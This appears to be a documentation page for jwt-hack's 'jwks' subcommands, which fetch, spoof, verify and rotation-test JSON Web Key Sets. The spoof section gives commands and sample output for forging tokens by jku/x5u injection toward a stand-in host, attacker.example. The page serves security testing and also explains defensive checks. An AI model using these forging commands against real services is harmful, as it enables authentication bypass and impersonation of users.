ESC
Commands

jwks

jwks works with JSON Web Key Sets: it pulls keys from an endpoint, mints attacker-controlled key sets for jku/x5u injection, checks a token against every key in a set, and tests whether old keys left in rotation still verify a token.

jwt-hack jwks <SUBCOMMAND> [OPTIONS]
Subcommand Purpose
fetch Download and display the keys at a JWKS endpoint
spoof Generate an attacker RSA key set and, optionally, jku/x5u injection tokens
verify Verify a token against every key in a JWKS (URL or file)
rotate Verify a token against several key files to find rotation overlap

--json works on every subcommand and prints a machine-readable object instead of the formatted view. Use it when piping into jq or another tool.

fetch

Pull the key set and show each key. For RSA and EC keys jwt-hack reconstructs the public key as a PEM block you can paste straight into jwks verify or payload --public-key. Symmetric (oct) keys are reported as present but not expanded.

jwt-hack jwks fetch https://example.com/.well-known/jwks.json

The fetch has a 10 second timeout and rejects any response body over 5 MiB, so a hostile endpoint cannot hang the client or exhaust memory.

spoof

Generate a fresh 2048-bit RSA key pair and emit it as a public JWKS plus the matching private key PEM. This is the key material you host when a target fetches its verification keys from a URL you can influence.

# Generate a spoofed key set with a chosen kid
jwt-hack jwks spoof --algorithm RS256 --kid demo-key
▎ SPOOFED JWKS ───────────────────────────────

  Algorithm         RS256

▎ JWKS (Public Key Set)
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "demo-key",
      "alg": "RS256",
      "use": "sig",
      "n": "s23eV18tRjkzs8honRo0DEuzqVDDvXDD8Dqi2N2yr-cy...",
      "e": "AQAB"
    }
  ]
}

▎ Private Key (PEM)
-----BEGIN PRIVATE KEY-----
...
Flag Default Description
--algorithm RS256 Key algorithm. One of RS256, RS384, RS512, PS256, PS384, PS512. RSA only
--kid spoofed-key-<unix-ts> Key ID written into the JWK
--token none A token to re-sign with the spoofed private key; the signed token is printed
--attacker-url none Switch to injection mode and build jku/x5u payloads pointing at this URL
-o, --output none Write the JWKS JSON to this file so you can serve it

Passing --token without --attacker-url just re-signs the token's claims with the new key and adds the kid, which is what you want when the target already trusts your key set by kid.

jku/x5u injection

The jku and x5u headers tell a verifier where to fetch the key (a JWKS URL or a certificate URL). If the verifier trusts those headers without pinning the host, you point them at a JWKS you control and sign with your own key. --attacker-url builds that end to end: it generates the spoofed key set, re-signs the token's claims, and injects a jku and an x5u header so the forged token verifies against the key set you host.

# Requires --token; emits a jku payload (<url>/jwks.json) and an x5u payload (<url>/cert.pem)
jwt-hack jwks spoof --token "$TOKEN" --attacker-url https://attacker.example -o jwks.json

Host the written jwks.json (and a certificate at /cert.pem for the x5u variant) at the attacker URL, then send the matching injection token. For the broader set of header-injection payloads, including kid tricks and RS256-to-HS256 confusion, see payload.

verify

Verify a token against every key in a JWKS and report which keys accept it. Give it either a live endpoint or a local file.

# Against a remote endpoint
jwt-hack jwks verify "$TOKEN" --url https://example.com/.well-known/jwks.json

# Against a saved key set
jwt-hack jwks verify "$TOKEN" --jwks-file ./jwks.json

RSA, EC (P-256, P-384, P-521) and oct keys are all supported. Expiration is not checked here, so a key match means the signature is valid regardless of exp. A trailing newline on the token is trimmed before verification, so piping a token in still works.

rotate

Test a token against a pile of key files at once. This catches rotation leftovers: an old signing key that was rotated out but never removed from the verifier still accepts tokens, so a leaked or cracked old key keeps working.

# Every key file in a directory, plus one more
jwt-hack jwks rotate "$TOKEN" --keys-dir ./keys/ --key extra.pem
Flag Description
--keys-dir Directory of key files; files ending in .pem, .key, .pub, .txt or no extension are collected
--key A single key file. Repeat the flag to add several

Each key is tried first as a public-key PEM and then as an HMAC secret (text keys) or raw secret bytes (binary keys), so a mixed directory of RSA public keys and HMAC secrets all get tested. One unreadable or binary file does not abort the batch. If more than one key verifies the token, jwt-hack warns that multiple keys overlap, which is the rotation-leftover signal.